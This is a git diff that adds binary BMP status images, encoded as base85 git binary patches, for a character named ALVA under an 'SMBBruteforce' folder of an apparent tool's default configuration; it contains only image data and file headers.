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 KOgdk=@_zy0siRl` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce2.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..b68803ad8ce1bbc8dceca07f4140ba2d711b707a GIT binary patch literal 18462 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 MMk$pkXDX`y1>|%o=Kufz literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce3.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..13eaf41032aae5998046ee299b9ec66bc2182c67 GIT binary patch literal 18462 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 